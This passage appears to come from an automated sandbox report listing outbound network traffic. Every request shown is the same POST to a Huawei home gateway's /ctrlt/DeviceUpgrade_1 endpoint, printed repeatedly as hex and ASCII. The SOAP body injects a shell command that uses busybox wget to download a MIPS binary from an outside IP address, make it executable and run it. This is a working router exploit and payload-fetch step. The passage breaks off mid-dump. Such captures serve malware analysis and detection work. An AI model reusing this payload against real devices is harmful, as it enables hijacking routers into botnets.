3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:33.478315115 CET	1376	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:42.948951006 CET	1645	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:01.890458107 CET	2159	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:40.796947956 CET	3222	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	156.241.76.11	37215	192.168.2.23	38394

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:24.207922935 CET	1147	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:26.183288097 CET	1177	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:28.618808985 CET	1258	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:33.478315115 CET	1376	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:42.948951006 CET	1645	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 